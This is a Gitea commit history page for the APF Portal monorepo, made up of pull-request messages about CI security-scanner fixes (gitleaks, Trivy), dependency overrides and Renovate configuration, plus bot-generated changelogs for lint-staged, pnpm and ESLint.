<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/46 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
a0e8e095d0 |
fix(ci): run scanners before pnpm install to avoid node_modules false positives (#51)
## Summary First successful gitleaks run flagged **381 "leaks"** — all inside `node_modules/` and `.pnpm-store/`, populated by the `pnpm install --frozen-lockfile` step that ran earlier in the job. Upstream npm packages routinely embed demo RSA keys / fake API tokens in their READMEs and test fixtures, and gitleaks correctly (by its rules) flags them. Same class of false-positive Trivy hit in #49 — solved there by `--scanners vuln`. Here, the cleanest solution is **reordering**: run the scanners *before* `pnpm install`, so the working tree contains only our committed source. - **Trivy** scans `pnpm-lock.yaml` (committed) — doesn't need install. - **Gitleaks** scans the working tree (`--no-git --source .` in ci.yml) — doesn't need install. - **pnpm audit** reads `pnpm-lock.yaml` against the advisory DB — also doesn't need install. The install before audit remains for the workspace-integrity sanity check. The ordering rationale is committed as a comment at the top of each job's `steps:` block, so a future contributor doesn't innocently shuffle the steps and re-flood the gate with FPs. Same reordering applied to `.gitea/workflows/security-scheduled.yml` for consistency, even though its deep-history gitleaks scan doesn't suffer this issue (`node_modules` is `.gitignore`d from day one — never in history). ## Test plan - [ ] `scan` job goes green end-to-end on this PR — gitleaks reports 0 leaks (or only real ones from our source, none expected). - [ ] On `push` to main post-merge, scan stays green. - [ ] Trigger `security-scheduled` manually before next Monday's cron to verify the same ordering doesn't break the deep scan. ## After this PR With #43 (TS/ESLint reverts), #45 (Trivy install), #49 (Trivy `--scanners vuln`), #50 (gitleaks install), and now this — every gate of the CI pipeline should be green end-to-end. Phase-1 CI bring-up is then complete and we can move to **A — local infra recipe** (Postgres + Redis + OTel Collector). --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #51 |
||
|
|
0d27f835c3 |
fix(ci): replace gitleaks-action with manual install (#50)
## Summary `gitleaks/gitleaks-action@v2` is now paywalled for organisations — the action requires a `GITLEAKS_LICENSE` secret from gitleaks.io (commercial) or it errors out: ``` 🛑 missing gitleaks license. Go grab one at gitleaks.io and store it as a GitHub Secret named GITLEAKS_LICENSE. ``` Worse, on Gitea it cannot reliably detect personal-vs-org accounts (different API contract), so it defaults to license enforcement and the scan always fails. The **gitleaks binary itself stays MIT-licensed and free** — only the wrapper went commercial. Mirror the pattern from #45 (Trivy): drop the wrapper, install the binary directly via curl + tar, run the CLI. ## Scope of the PR The same two broken integrations existed in `.gitea/workflows/security-scheduled.yml` and would have failed silently at next Monday's cron. Fix both files in one PR for consistency. - **`ci.yml`** — gitleaks step replaced. Per-PR scan uses `--no-git --source .` (working tree only — the scan job uses a shallow checkout anyway). - **`security-scheduled.yml`** — both gitleaks AND trivy steps replaced; `fetch-depth: 0` added so gitleaks can do its **deep history scan** here (the value-add of the scheduled job over the per-PR gate); `cache: 'pnpm'` dropped from `actions/setup-node` (consistency with #8 — the act_runner cache server is unreachable from job containers). - `--redact` on both gitleaks invocations so any matched secret is masked in the CI log itself (avoids re-leaking via log artefacts). ## Trade-off Like Trivy, gitleaks version is now manually pinned. Same comment in the workflow points to releases for bumps. ## Test plan - [ ] `scan` job goes green end-to-end on this PR (audit ✓, Trivy ✓, gitleaks ✓). - [ ] `gitleaks version` line in the install step's logs shows `8.21.0`. - [ ] On `push` to main post-merge, scan stays green. - [ ] Trigger `security-scheduled` manually (Actions → Run workflow) to verify the deep-history scan path before next Monday's cron fires. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #50 |
||
|
|
2cc795a9fd |
fix(ci): restrict Trivy to vulnerability scanner only (#49)
## Summary First successful Trivy run (post #45's manual install) came back red on three "secret" findings — all demo RSA private keys embedded in the README / test fixtures of a cryptographic npm package, sitting deep in `.pnpm-store/v10/files/...`. None of them are our secrets. Two observations: - The `scan` job already chains `gitleaks/gitleaks-action@v2` right after Trivy. Running two secret scanners over the same tree just doubles the false-positive surface. - Trivy's own log suggests `--scanners vuln` when secret scanning isn't the focus. And [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md) always framed this step as "dependency vulnerability scan" — singular. Restrict Trivy to `--scanners vuln`. Result: vuln scan against `pnpm-lock.yaml` complementing `pnpm audit` (which uses the npm advisory DB; Trivy's DB is broader, sources from OSV/GHSA/etc.). Gitleaks stays the single secret-scan source. No `--skip-dirs` change needed: vuln scanning reads `pnpm-lock.yaml`, not the unpacked store. ## Test plan - [ ] `scan` job goes green end-to-end on this PR — `pnpm ci:audit` ✓, `Install Trivy` ✓, `Run Trivy` ✓ (no secret findings reported), `gitleaks` ✓. - [ ] On `push` to main post-merge, scan stays green. - [ ] Future Trivy bumps (manual, see workflow comment) keep this `--scanners vuln` flag. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #49 |
||
|
|
6fc26db1b5 |
fix(ci): restrict Trivy to vulnerability scanner only (#48)
## Summary First successful Trivy run (post #45's manual install) came back red on three "secret" findings — all demo RSA private keys embedded in the README / test fixtures of a cryptographic npm package, sitting deep in `.pnpm-store/v10/files/...`. None of them are our secrets. Two observations: - The `scan` job already chains `gitleaks/gitleaks-action@v2` right after Trivy. Running two secret scanners over the same tree just doubles the false-positive surface. - Trivy's own log suggests `--scanners vuln` when secret scanning isn't the focus. And [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md) always framed this step as "dependency vulnerability scan" — singular. Restrict Trivy to `--scanners vuln`. Result: vuln scan against `pnpm-lock.yaml` complementing `pnpm audit` (which uses the npm advisory DB; Trivy's DB is broader, sources from OSV/GHSA/etc.). Gitleaks stays the single secret-scan source. No `--skip-dirs` change needed: vuln scanning reads `pnpm-lock.yaml`, not the unpacked store. ## Test plan - [ ] `scan` job goes green end-to-end on this PR — `pnpm ci:audit` ✓, `Install Trivy` ✓, `Run Trivy` ✓ (no secret findings reported), `gitleaks` ✓. - [ ] On `push` to main post-merge, scan stays green. - [ ] Future Trivy bumps (manual, see workflow comment) keep this `--scanners vuln` flag. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #48 |
||
|
|
57a08c3b71 |
fix(ci): replace trivy-action with manual curl install (#45)
## Summary PR #44's `GITHUB_TOKEN` env injection didn't actually authenticate the github.com clone. Root cause: `aquasecurity/trivy-action` wraps `actions/checkout`, whose `with.token` input defaults to `${{ github.token }}` (Gitea's auto-token, useless against github.com), and that wins over our env var. The clone keeps hitting the anonymous rate limit. Rather than fight the action's internals (`INPUT_TOKEN` overrides, `git config insteadOf` injection, etc.), drop it and install Trivy directly via `curl + tar` from the GitHub release artefact. ## Side benefits - **Version pinned** (`TRIVY_VERSION=0.70.0`) — no more `@master`. Moving-target tags are exactly what bit us in #43 (the TS6 / ESLint10 / webpack-cli7 mess); not adding a new instance of the same anti-pattern. - **Predictable** — straight curl + tar, no third-party action indirection to debug. - `GITHUBCOM_TOKEN` passed as Bearer header on the curl — defensive: release artefact downloads are usually unmetered, but auth is free insurance against rate-limit surprises. ## Trade-off Trivy version bumps become manual. Renovate can't track this pin out of the box. A custom regex manager in `renovate.json` could be added later if the cadence justifies it; for now, manual review of [Trivy releases](https://github.com/aquasecurity/trivy/releases) every few months is acceptable. ## Test plan - [ ] `scan` job goes green on this PR — both `Install Trivy` and `Run Trivy` steps succeed. - [ ] `trivy --version` in the install step's logs reports `0.70.0`. - [ ] No regression on the `pnpm ci:audit` or `gitleaks` sub-steps of `scan`. - [ ] On `push` to main post-merge, scan stays green. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #45 |
||
|
|
6153c81602 |
fix(ci): authenticate trivy-action's github.com clone (#44)
## Summary On cache miss, `aquasecurity/trivy-action@master` falls back to `git clone https://github.com/aquasecurity/trivy` to fetch its install script. Our act_runner cache server is currently unreachable from job containers (documented as "Cache server (deferred)" in `infra/README.md`), so every CI run is a cache miss, every run does the clone, and every clone hits github.com's 60 req/h anonymous rate limit: Pass `GITHUBCOM_TOKEN` (same zero-scope github.com PAT used for Renovate) as `GITHUB_TOKEN` env on the trivy step. The action picks it up automatically and authenticates the clone, lifting the rate limit from 60 → 5 000 req/h. ## Test plan - [ ] `scan` job goes green on this PR (the trivy step in particular). - [ ] On `push` to main post-merge, scan stays green. - [ ] No regression on the audit / gitleaks sub-steps of `scan`. ## Related - The deeper fix (re-enabling the act_runner cache server so trivy gets a real cache hit and skips the clone entirely) is tracked as "Cache server (deferred)" in `infra/README.md`. Worth doing eventually; this PR is the surgical fix. - The `@master` pin on the trivy-action is also worth replacing with a tagged version (`renovate.json` will surface bumps once we lift the major-dashboard gate for it). Out of scope for this PR. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #44 |
||
|
|
f5d3697466 |
fix(deps): revert TS6/ESLint10/webpack-cli7 majors and gate future majors (#43)
## Summary Three Renovate major bumps merged silently because `nx affected` doesn't see deps-only PRs as affecting any project — CI passed trivially, the breakage only surfaced when `nx run-many` was run locally: - **TypeScript 5→6** (#33) — `tsconfig.lib.json` fails with `TS5101: Option 'baseUrl' is deprecated`. Revert to 5.9.x. - **ESLint 9→10** (#36) — `@nx/eslint@22.7.1` not compatible: project graph fails with "Unable to find eslint". Revert eslint, `@eslint/js`, `jsonc-eslint-parser`, `eslint-plugin-playwright` to ESLint-9-compatible versions. - **webpack-cli 5→7** (#34) — webpack-cli 7 removed the `--node-env=production` flag Nx generates. Revert to 5.x. Bonus side-fix: the `ajv@<8.18.0` override added in #42 was over-broad and was forcing ESLint's bundled ajv to v8 (incompatible with ESLint 9's option contract). Narrow the override to `@angular-devkit/core>ajv@<8.18.0` so only the targeted nestjs-prisma chain is bumped. ## Prevention — gate majors behind the dependency dashboard Add a Renovate `packageRule` with `dependencyDashboardApproval: true` for `matchUpdateTypes: ["major"]`. Renovate stops auto-creating PRs for majors; they appear as checkboxes in the dashboard issue, and only get a PR after a human ticks the box (presumably after reading the changelog and confirming Nx-plugin / Angular / NestJS readiness). This is the surgical fix for the gap. The deeper fix (making `nx affected` correctly mark all projects as affected on package.json changes) is a separate investigation worth doing later — but the dashboard gate prevents the same trap regardless. ## Verification Locally on this branch: - `pnpm exec nx run-many -t lint test build --parallel=2` → ✓ 8 projects pass. - `pnpm audit --audit-level=moderate` → 0 vulnerabilities. ## Test plan - [ ] `check` job goes green on this PR (would have caught the regressions if `nx affected` were broader). - [ ] After merge, the next Renovate run does not create new PRs for any major (TS, eslint, webpack-cli, etc.). - [ ] Any pending major in the dashboard issue still appears, but only as a checkbox awaiting approval. ## Out of scope (follow-up) Investigate why `nx affected` misses package.json-only changes. Likely a missing entry in `nx.json` `namedInputs` (`default`) or `targetDefaults`. Worth its own focused PR; the dashboard gate is the conservative fix in the meantime. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #43 |
||
|
|
25bfba97cb |
chore(deps): pin patched transitive deps via pnpm.overrides (#42)
## Summary
Direct-dep updates from Renovate could not clear the `scan` gate — 20 vulnerabilities (4 high + 13 moderate + 3 low) lived inside transitive chains pinned by upstream tooling:
- `nx > axios` (8× CVEs), `nx > yaml`, `nx > follow-redirects`
- `@nx/devkit > minimatch > brace-expansion`
- `nestjs-prisma > @angular-devkit/core > ajv`
- `@angular/cli > @modelcontextprotocol/sdk > express-rate-limit > ip-address`
- `@lhci/cli > tmp`
Patched versions exist upstream but the parents pin tighter ranges. Renovate cannot help here — `pnpm.overrides` with the **upper-bound** form (`pkg@<x.y.z`) is the right tool: it forces patched resolutions today and self-expires once a parent legitimately reaches the patched version (the override stops matching).
After overrides: `pnpm audit --audit-level=moderate` → **0 vulnerabilities**.
## Bonus fix
Lint-staged was running prettier on `pnpm-lock.yaml` because the glob `*.yaml` matched. Tightened the glob to `!(pnpm-lock).{...,yaml}` so the lockfile stays under pnpm's own formatting authority.
## Test plan
- [ ] `scan` job goes green on this PR.
- [ ] No regression on `check` (lint/test/build).
- [ ] On the next deps-bump commit (any future Renovate PR rebased), the local pre-commit hook does **not** reformat `pnpm-lock.yaml`.
## Out of scope (separate follow-up PRs)
While testing locally, two pre-existing regressions on `main` surfaced (introduced by recent Renovate major bumps that passed CI through `nx affected` reporting "nothing affected"):
- **TypeScript 6 (PR #33)** — `tsconfig.lib.json` → `TS5101: Option 'baseUrl' is deprecated` on every lib build.
- **ESLint 10 (PR #36)** — `@nx/eslint@22.7.1` plugin can't resolve eslint, project graph fails.
Both deserve their own investigation before we move on to phase-2 chantiers.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #42
|
||
|
|
6545c3a176 |
chore(deps): update dependency lint-staged to v17 (#41)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | major | [`^16.4.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/lint-staged/16.4.0/17.0.2) | --- ### Release Notes <details> <summary>lint-staged/lint-staged (lint-staged)</summary> ### [`v17.0.2`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1702) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.1...v17.0.2) ##### Patch Changes - [#​1779](https://github.com/lint-staged/lint-staged/pull/1779) [`88670ca`](https://github.com/lint-staged/lint-staged/commit/88670ca2278200f6348ed663358895ddc4bfff3c) Thanks [@​iiroj](https://github.com/iiroj)! - Enable immutable GitHub releases ### [`v17.0.1`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1701) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.0...v17.0.1) ##### Patch Changes - [#​1776](https://github.com/lint-staged/lint-staged/pull/1776) [`4a5664b`](https://github.com/lint-staged/lint-staged/commit/4a5664be63af19590ec37940f705dad870ac5cfb) Thanks [@​iiroj](https://github.com/iiroj)! - Adjust GitHub Actions workflow so that automatic publishing works with signed commits. ### [`v17.0.0`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1700) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v16.4.0...v17.0.0) ##### Major Changes - [#​1745](https://github.com/lint-staged/lint-staged/pull/1745) [`e244adf`](https://github.com/lint-staged/lint-staged/commit/e244adfab430be95803e74b20acf518517054c9f) Thanks [@​iiroj](https://github.com/iiroj)! - **Node.js v20 is no longer supported, and the oldest supported version is now `22.22.1`**, which is an active LTS version at the time of this release. Node.js 20 will be EOL after April 2026. Please upgrade your Node.js version! - [#​1676](https://github.com/lint-staged/lint-staged/pull/1676) [`0584e0b`](https://github.com/lint-staged/lint-staged/commit/0584e0b8824a07ea4d0151f2c17fc37c4905a421) Thanks [@​outslept](https://github.com/outslept)! - *Lint-staged* now tries to verify the installed Git version is at least `2.32.0`, released in 2021. If you're using an even older Git version, you need to [upgrade](https://git-scm.com/install/mac) it before running *lint-staged*! - [#​1745](https://github.com/lint-staged/lint-staged/pull/1745) [`2dcc40a`](https://github.com/lint-staged/lint-staged/commit/2dcc40a1a98aea20d38f76031ac30b278f81682a) Thanks [@​iiroj](https://github.com/iiroj)! - The dependency `yaml` is now marked as optional and probably won't be installed by default. If you're using a YAML configuration file you should install the package separately: ```shell npm install --development yaml ``` If you're using `.lintstagedrc` as the config file name (without a file extension), it will be treated as a YAML file. If the content is JSON, consider renaming it to `.lintstagedrc.json` to avoid needing to install `yaml`. ##### Minor Changes - [#​1748](https://github.com/lint-staged/lint-staged/pull/1748) [`809d5ef`](https://github.com/lint-staged/lint-staged/commit/809d5ef0a66edb2b26b233d33ce8e14af6c978e7) Thanks [@​iiroj](https://github.com/iiroj)! - Add new option `--hide-all` for hiding all unstaged changes and untracked files, before running tasks. This makes it easier to run tools like [Knip](https://knip.dev) which check for unused code. Untracked files are included in the backup stash and restored automatically after running. - [#​1759](https://github.com/lint-staged/lint-staged/pull/1759) [`f13045a`](https://github.com/lint-staged/lint-staged/commit/f13045a5eae28c3233fc37146b0e1f51739c254b) Thanks [@​iiroj](https://github.com/iiroj)! - Update dependencies, including [`tinyexec@1.1.1`](https://github.com/tinylibs/tinyexec/releases/tag/1.1.1) to fix the following issues: - When using a Node.js version manager with multiple versions installed ([nvm](https://github.com/nvm-sh/nvm), [n](https://github.com/tj/n), for example), scripts with the `#!/usr/bin/env node` shebang ([Prettier](https://github.com/prettier/prettier), [ESLint](https://github.com/eslint/eslint), for example) were previously spawned using the default Node.js version configured by the version manager (the one `which node` points to) on POSIX systems. Now, they will be spawned with the same version that *lint-staged* itself was started with. - For example, if your default Node.js version is 24.14.1 but *lint-staged* is run with the latest version 25.9.0, the tasks spawned by *lint-staged* will now also use version 25.9.0. Previously they were spawned using 24.14.1. - When installing Node.js from the Ubuntu App Center ([Snap store](https://snapcraft.io/store)), the `node` executable available in `PATH` is a symlink pointing to Snap itself. The sandboxing features of Snap prevented *lint-staged* from spawning scripts with the `#!/usr/bin/env node` shebang, because it meant *lint-staged* tried to spawn Snap via the symlink. This resulted in an `ENOENT` error when trying to run `prettier`, for example. Now, since the real `node` executable's directory is available in the `PATH`, *lint-staged* will instead spawn the script with the real `node` binary succesfully. - [#​1761](https://github.com/lint-staged/lint-staged/pull/1761) [`d3251b1`](https://github.com/lint-staged/lint-staged/commit/d3251b192d7116f059e7cabeffa3bfd7788dedeb) Thanks [@​iiroj](https://github.com/iiroj)! - *Lint-staged* now runs `git update-index --again` after running tasks, instead of `git add <originally staged files>`. This should improve compatibility when using non-default indexes, for example when committing with a pathspec `git commit -m "message" .` instead of adding files to the index. - [#​1745](https://github.com/lint-staged/lint-staged/pull/1745) [`a9585ac`](https://github.com/lint-staged/lint-staged/commit/a9585ac7ce0162c5c6c9aa88a28c11c812abedaf) Thanks [@​iiroj](https://github.com/iiroj)! - Remove `commander` as a dependency and use the built-in `parseArgs` from `node:util` to parse CLI flags. ##### Patch Changes - [#​1755](https://github.com/lint-staged/lint-staged/pull/1755) [`c82d30b`](https://github.com/lint-staged/lint-staged/commit/c82d30bda8c80f886bdfead2e7aa123f7337aa76) Thanks [@​iiroj](https://github.com/iiroj)! - All tests now pass on the [Bun](https://bun.com) runtime (latest). - [#​1750](https://github.com/lint-staged/lint-staged/pull/1750) [`a401818`](https://github.com/lint-staged/lint-staged/commit/a4018185016617b02e4473d14e036a5f1a9b3f85) Thanks [@​iiroj](https://github.com/iiroj)! - Remove manual handling for `git stash --keep-index` resurrecting deleted files, because the issue was fixed in Git `2.23.0` and *lint-staged* requires at least Git `2.32.0`. - [#​1771](https://github.com/lint-staged/lint-staged/pull/1771) [`c4b8936`](https://github.com/lint-staged/lint-staged/commit/c4b893665bf39670650ae71b4ec2073025e9984e) Thanks [@​iiroj](https://github.com/iiroj)! - Fix documentation about multiple config files and the `--cwd` option. When using it, all tasks will be run in the specified directory. For example, to run everything in the actual `process.cwd()`, use `lint-staged --cwd="."`. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #41 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
4a73d2e8db |
chore(deps): update pnpm to v10.33.4 (#40)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [pnpm](https://pnpm.io) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm)) | packageManager | patch | [`10.33.3` -> `10.33.4`](https://renovatebot.com/diffs/npm/pnpm/10.33.3/10.33.4) | --- ### Release Notes <details> <summary>pnpm/pnpm (pnpm)</summary> ### [`v10.33.4`](https://github.com/pnpm/pnpm/releases/tag/v10.33.4): pnpm 10.33.4 [Compare Source](https://github.com/pnpm/pnpm/compare/v10.33.3...v10.33.4) #### Patch Changes - Pin the integrity of git-hosted tarballs (codeload.github.com, gitlab.com, bitbucket.org) in the lockfile so that subsequent installs detect a tampered or substituted tarball and refuse to install it. Previously the lockfile only stored the tarball URL for git dependencies, so a compromised git host or a man-in-the-middle could serve arbitrary code on later installs without lockfile changes. A new `gitHosted: true` field is recorded on git-hosted tarball resolutions in the lockfile, letting every reader/writer route them by a single typed check instead of pattern-matching the tarball URL in each call site. Lockfiles written by older pnpm versions are enriched on load (URL fallback) so the field can be relied on uniformly across the codebase. - Fix a regression where `pnpm --recursive --filter '!<pkg>' run/exec/test/add` would include the workspace root in the matched projects. The workspace root is now correctly excluded by default when only negative `--filter` arguments are provided, matching the [documented behavior](https://pnpm.io/cli/recursive). To include the root, pass `--include-workspace-root` [#​11341](https://github.com/pnpm/pnpm/issues/11341). <!-- sponsors --> #### Platinum Sponsors <table> <tbody> <tr> <td align="center" valign="middle"> <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a> </td> </tr> </tbody> </table> #### Gold Sponsors <table> <tbody> <tr> <td align="center" valign="middle"> <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" /> <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" /> </picture> </a> </td> <td align="center" valign="middle"> <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" /> <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" /> </picture> </a> </td> <td align="center" valign="middle"> <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" /> <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" /> </picture> </a> </td> <td align="center" valign="middle"> <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" /> <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" /> </picture> </a> </td> <td align="center" valign="middle"> <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" /> <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" /> </picture> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" /> <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" /> </picture> </a> </td> <td align="center" valign="middle"> <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" /> <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" /> <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" /> </picture> </a> </td> </tr> </tbody> </table> <!-- sponsors end --> </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/40 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
8bb2d7b43f |
chore(deps): defer Prisma major updates pending coordinated upgrade ADR (#39)
## Summary Renovate kept proposing Prisma 7 even though we deliberately downgraded to Prisma 6 in #3 — `nestjs-prisma@0.27.0` is incompatible with Prisma 7's driver-adapter contract, and the upgrade is non-trivial enough to warrant its own ADR rather than a silent Renovate merge. - **`renovate.json`** — add `enabled: false` packageRule for `matchUpdateTypes: ["major"]` on `prisma`, `@prisma/*`, `nestjs-prisma`. Patch and minor bumps of the 6.x line keep flowing. - **ADR-0006** — new "Prisma version pin: 6.x in v1" subsection records the narrowing of "latest stable major" to 6.x and the two triggers for revisiting: 1. `nestjs-prisma` ships a release supporting Prisma 7, or 2. We decide to drop `nestjs-prisma` for a hand-rolled `PrismaModule`. Either path needs its own ADR (schema, client instantiation, request-scoped lifecycle all to re-validate). ## Test plan - [ ] Once merged, the open Prisma 7 PR can be closed (see closure comment below) and won't be recreated. - [ ] Next Renovate run confirms no Prisma-major PR is created (check the dependency dashboard issue). - [ ] Next patch/minor of Prisma 6.x still produces a normal grouped "Prisma" PR. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #39 |
||
|
|
68a819d88a |
chore(deps): update eslint (major) (#36)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@eslint/js](https://eslint.org) ([source](https://github.com/eslint/eslint/tree/HEAD/packages/js)) | devDependencies | major | [`^9.8.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.39.4/10.0.1) | | [eslint](https://eslint.org) ([source](https://github.com/eslint/eslint)) | devDependencies | major | [`^9.8.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/eslint/9.39.4/10.3.0) | | [eslint-plugin-playwright](https://github.com/mskelton/eslint-plugin-playwright) | devDependencies | major | [`^1.6.2` -> `^2.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-playwright/1.8.3/2.10.2) | --- ### Release Notes <details> <summary>eslint/eslint (@​eslint/js)</summary> ### [`v10.0.1`](https://github.com/eslint/eslint/releases/tag/v10.0.1) [Compare Source](https://github.com/eslint/eslint/compare/v10.0.0...v10.0.1) ##### Bug Fixes - [`c87d5bd`](https://github.com/eslint/eslint/commit/c87d5bded54c5cf491eb04c24c9d09bbbd42c23e) fix: update eslint ([#​20531](https://github.com/eslint/eslint/issues/20531)) (renovate\[bot]) - [`d841001`](https://github.com/eslint/eslint/commit/d84100115c14691691058f00779c94e74fca946a) fix: update `minimatch` to `10.2.1` to address security vulnerabilities ([#​20519](https://github.com/eslint/eslint/issues/20519)) (루밀LuMir) - [`04c2147`](https://github.com/eslint/eslint/commit/04c21475b3004904948f02049f2888b401d82c78) fix: update error message for unused suppressions ([#​20496](https://github.com/eslint/eslint/issues/20496)) (fnx) - [`38b089c`](https://github.com/eslint/eslint/commit/38b089c1726feac0e31a31d47941bd99e29ce003) fix: update dependency [@​eslint/config-array](https://github.com/eslint/config-array) to ^0.23.1 ([#​20484](https://github.com/eslint/eslint/issues/20484)) (renovate\[bot]) ##### Documentation - [`5b3dbce`](https://github.com/eslint/eslint/commit/5b3dbce50a1404a9f118afe810cefeee79388a2a) docs: add AI acknowledgement section to templates ([#​20431](https://github.com/eslint/eslint/issues/20431)) (루밀LuMir) - [`6f23076`](https://github.com/eslint/eslint/commit/6f23076037d5879f20fb3be2ef094293b1e8d38c) docs: toggle nav in no-JS mode ([#​20476](https://github.com/eslint/eslint/issues/20476)) (Tanuj Kanti) - [`b69cfb3`](https://github.com/eslint/eslint/commit/b69cfb32a16c5d5e9986390d484fae1d21e406f9) docs: Update README (GitHub Actions Bot) ##### Chores - [`e5c281f`](https://github.com/eslint/eslint/commit/e5c281ffd038a3a7a3e5364db0b9378e0ad83020) chore: updates for v9.39.3 release (Jenkins) - 